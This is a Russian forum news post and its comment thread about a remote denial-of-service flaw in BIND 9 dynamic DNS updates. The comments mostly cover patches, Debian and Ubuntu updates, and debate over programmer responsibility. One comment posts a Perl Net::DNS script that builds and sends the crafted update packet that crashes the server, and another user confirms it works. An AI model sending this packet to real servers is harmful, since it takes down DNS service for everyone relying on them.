LINUX.ORG.RU

Найдена серьезная уязвимость в Bind 9

 , ,


0

0

Найдена очередная удаленная уязвимость в популярном сервере протокола DNS - Bind 9.

При получении специально созданного запроса на dynamic dns update (спецификация RFC 2136), сервер bind вылетает со следующим сообщением:

db.c:659: REQUIRE(type != ((dns_rdatatype_t)dns_rdatatype_any)) failed
exiting (due to assertion failure).

Стоит заметить, этой уязвимости подвержены все сервера bind, которые сконфигурированы мастером хотя бы для одной зоны. При этом не важно, разрешены ли dynamic updates, достаточно просто быть мастером. ACL на бинде вас тоже не спасет.

На сайте ISC доступны патчи и обновленные архивы исходников. В сети циркулирует публичный эксплойт, так что всем рекомендуется обновиться как можно раньше.

>>> Подробности

★★★★★

Проверено: boombick ()

Re: Найдена серьезная уязвимость в Bind 9

могу добавить, что вендоры вроде пока не среагировали. если dns для вас критический сервис, патчесь уже.

val-amart ★★★★★ ()
Ответ на: Re: Найдена серьезная уязвимость в Bind 9 от val-amart

Re: Найдена серьезная уязвимость в Bind 9

патч для OpenBSD уже доступен ;)

Index: usr.sbin/bind/bin/named/update.c
===================================================================
RCS file: /cvs/src/usr.sbin/bind/bin/named/update.c,v
retrieving revision 1.7
diff -u -p -r1.7 update.c
--- usr.sbin/bind/bin/named/update.c    9 Dec 2007 13:39:42 -0000       1.7
+++ usr.sbin/bind/bin/named/update.c    29 Jul 2009 02:34:11 -0000
@@ -861,7 +861,11 @@ temp_check(isc_mem_t *mctx, dns_diff_t *
                       if (type == dns_rdatatype_rrsig ||
                           type == dns_rdatatype_sig)
                               covers = dns_rdata_covers(&t->rdata);
-                       else
+                       else if (type == dns_rdatatype_any) {
+                               dns_db_detachnode(db, &node);
+                               dns_diff_clear(&trash);
+                               return (DNS_R_NXRRSET);
+                       } else
                               covers = 0;

val-amart ★★★★★ ()

Re: Найдена серьезная уязвимость в Bind 9

Решето. Ъ используют bind-8. )

sabonez ★☆☆☆ ()

Re: Найдена серьезная уязвимость в Bind 9

А я-то голову ломаю, чего это это у прова с DNS вчера было.

Zenom ★★★ ()

Re: Найдена серьезная уязвимость в Bind 9

Очевидно это ОН

frame ★★★ ()

Re: Найдена серьезная уязвимость в Bind 9

я недоволен
интересно почему команда опенбсд свой опенднс еще не накатало? :o)

hizel ★★★★★ ()

Re: Найдена серьезная уязвимость в Bind 9

неверное название... Скорее: Еще одна уязвимость закрыта.

LightDiver ★★★★★ ()
Ответ на: Re: Найдена серьезная уязвимость в Bind 9 от LightDiver

Re: Найдена серьезная уязвимость в Bind 9

>неверное название... Скорее: Еще одна уязвимость закрыта.

Закрыта она будет лишь после того, как все узнают и поставят обновления, а до тех пор - открыта и юзабельна.

frame ★★★ ()

Re: Найдена серьезная уязвимость в Bind 9

Быдлокодеры. Если бы для типов использовали enum и switch (как то и задумано K&R) то компилятор мог бы о такой уязвимости предупредить.

legolegs ★★★★★ ()

Re: Найдена серьезная уязвимость в Bind 9

ссылку на эксплоит в студию!

dreamer ★★★★★ ()

Re: Найдена серьезная уязвимость в Bind 9

У программистов, все как у политиков. Найдена уязвимость? Счас исправим -> обновляйтесь... И ни слова о том, _кто_ это напрограммировал, _когда_, _кто_несет_ответственность_ за контроль качества (в смысле, сколько людей получили зарплату в новеллах и редхатах за то, что проконтролировали?)

В новости можно указывать хотя бы имя того программиста?.. Или это неэтично?

valich ★★★ ()
Ответ на: Re: Найдена серьезная уязвимость в Bind 9 от dreamer

Re: Найдена серьезная уязвимость в Bind 9

нашел перловый скрипт, который вроде бы генерит бажный запрос

#!/usr/bin/perl -w

use Net::DNS;

our $NSI = '';
our $NSI_KEY_NAME = '';
our $NSI_KEY = '';

my $rzone = '';
my $rptr = "1.$rzone";

my $packet = Net::DNS::Update->new($rzone);

$packet->push(
pre => Net::DNS::RR->new(
Name => $rptr,
Class => 'IN',
Type => 'ANY',
TTL => 0,
)
);
$packet->push(
update => Net::DNS::RR->new(
Name => $rptr,
Class => 'ANY',
Type => 'ANY',
)
);

$packet->sign_tsig( $NSI_KEY_NAME, $NSI_KEY ) if $NSI_KEY_NAME && $NSI_KEY;

print $packet->string;

Net::DNS::Resolver->new( nameservers => [$NSI] )->send($packet);


но чето с утра не соображу как отправить его по-проще ?
не телнетом же..

dreamer ★★★★★ ()

Re: Найдена серьезная уязвимость в Bind 9

zone "localhost" {
type master;
file "/etc/bind/db.local";
};

такой вариант тоже уязвим ?)

Sylvia ★★★★★ ()
Ответ на: Re: Найдена серьезная уязвимость в Bind 9 от Sylvia

Re: Найдена серьезная уязвимость в Bind 9

Да , Сильви . Этот вариант ничем принципиально не отличается от zone "example.org" { ... Ему мякого говоря одинакого localhost или нет

Я уже обновился на работе.

ss85 ()

Re: Найдена серьезная уязвимость в Bind 9

Для Debian вышло обновление.

JackYF ★★★★ ()
Ответ на: Re: Найдена серьезная уязвимость в Bind 9 от valich

Re: Найдена серьезная уязвимость в Bind 9

>valich

месье программист?
если да, Вы работаете с полной материальной ответственностью? или никогда в жизни не допускали ошибок в программах?

k0l0b0k ★★ ()
Ответ на: Re: Найдена серьезная уязвимость в Bind 9 от valich

Re: Найдена серьезная уязвимость в Bind 9

если бы ты заплатил деньги за программу - ты имел бы право предьявлять претензии конкретному человеку на конкретную сумму ущерба. а если ты используешь бесплатный софт - то чего ты хочешь? нашел уязвимость - сделай патч и отошли разработчикам. или напиши багрепорт.

Komintern ★★★★★ ()
Ответ на: Re: Найдена серьезная уязвимость в Bind 9 от legolegs

Re: Найдена серьезная уязвимость в Bind 9

> Быдлокодеры. Если бы для типов использовали enum и switch (как то и задумано K&R) то компилятор мог бы о такой уязвимости предупредить.

Вряд ли -- ведь у них будет default, аналогичный местному else...

sv75 ★★★★★ ()

Re: Найдена серьезная уязвимость в Bind 9

security.debian.org как всегда опережает публикацию security новостей LOR-а ;)

linuks ★★★★ ()
Ответ на: Re: Найдена серьезная уязвимость в Bind 9 от hizel

Re: Найдена серьезная уязвимость в Bind 9

> интересно почему команда опенбсд свой опенднс еще не накатало? :o)
потому что бинд и так не самый плохой вариант, и он немного модифицированный у нас. но вот от этого не спасло.
мысли написать свое конечно есть, но это не первоочередная задача.

val-amart ★★★★★ ()
Ответ на: Re: Найдена серьезная уязвимость в Bind 9 от linuks

Re: Найдена серьезная уязвимость в Bind 9

Нет не опережает.
Когда я начинал читать этот тред фиксов для Ленни еще не было.
Правда. когда дочитал, появились.

kilolife ★★★★★ ()
Ответ на: Re: Найдена серьезная уязвимость в Bind 9 от Komintern

Re: Найдена серьезная уязвимость в Bind 9

если бы ты заплатил деньги за программу и если ты используешь бесплатный софт - все одно. Ответственность программиста определяется вашими с ним договоренности. В общем случае, лицензией. Во всех известных мне еулах написано большими буквами NO WARRANTY...

AVL2 ★★★★★ ()

Re: Найдена серьезная уязвимость в Bind 9

в рот мне ноги!11
эксплойт работает (
да шо же это делаеццо..

обновил десяток машин уже.

se ★★ ()

Re: Найдена серьезная уязвимость в Bind 9

Рещето!

libcme ()
Ответ на: Re: Найдена серьезная уязвимость в Bind 9 от k0l0b0k

Re: Найдена серьезная уязвимость в Bind 9

> месье программист?
> если да, Вы работаете с полной материальной ответственностью? или никогда в жизни не допускали ошибок в программах?


А что есть полная материальная ответсвенность? Это когда платят человеку, переписывающему мои баги из моего кармана?

Не знаю как у вас. А меня в этом месяце оштрафовали за такое дуракаваляние.

valich ★★★ ()
Ответ на: Re: Найдена серьезная уязвимость в Bind 9 от Komintern

Re: Найдена серьезная уязвимость в Bind 9

> ты имел бы право предьявлять претензии конкретному человеку на конкретную сумму ущерба

Вот-вот, все как в политике... Не уводите тему, вы не в зале заседаний. Где я предъявлял суммы ущерба? Я лишь хочу знать имена тех героев... При этом я не требовал а спросил. Кто его знает, может и в самом деле неэтично

valich ★★★ ()
Ответ на: Re: Найдена серьезная уязвимость в Bind 9 от valich

Re: Найдена серьезная уязвимость в Bind 9

> Это когда платят человеку, переписывающему мои баги из моего кармана?
это когда ты оплачиваешь убытки компании за простой сервиса, за который ты ответственен. подумай, сколько стоит час простоя сети крупного провайдера, телекома или банка и ты поймешь, почему софта с гарантиями практически.

val-amart ★★★★★ ()
Ответ на: Re: Найдена серьезная уязвимость в Bind 9 от yurikoles

Re: Найдена серьезная уязвимость в Bind 9

Debian
>Date: Wed, 29 Jul 2009 09:21:21 +0200

>Subject: [SECURITY] [DSA 1847-1] New bind9 packages fix denial of service


Гмыл говорит, что в 10:21 (GMT+02:00). Но самое интересное что есть фикс для сида, но НЕТ фикса для тестинга, так и знал что не нужно каментить deb http://security.debian.org/debian/ stable/updates

yurikoles ★★★ ()
Ответ на: Re: Найдена серьезная уязвимость в Bind 9 от val-amart

Re: Найдена серьезная уязвимость в Bind 9

>подумай, сколько стоит час простоя сети крупного провайдера, телекома или банка

Это херня. Вот сколько стоит час работы программиста, способного доказать свою программу...

legolegs ★★★★★ ()
Ответ на: Re: Найдена серьезная уязвимость в Bind 9 от yurikoles

Re: Найдена серьезная уязвимость в Bind 9

скачайте .deb
с http://security.debian.org

dpkg -i <filename.deb>

только оно скорее всего потом захочет обновиться на тот что у вас был (из за более высокой версии) так что лучше сразу его aptitude hold

Sylvia ★★★★★ ()

Re: Найдена серьезная уязвимость в Bind 9

Обновление для *ubuntu доступно, обновляемся!

Buy ★★★★★ ()
Ответ на: Re: Найдена серьезная уязвимость в Bind 9 от Sylvia

Re: Найдена серьезная уязвимость в Bind 9

нужно было не http://security.debian.org/debian/ а http://security.debian.org/ но в документации почему-то не говорят что нужно подключать stable/updates. Но я подключил и качаю 22! обновления.

yurikoles ★★★ ()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.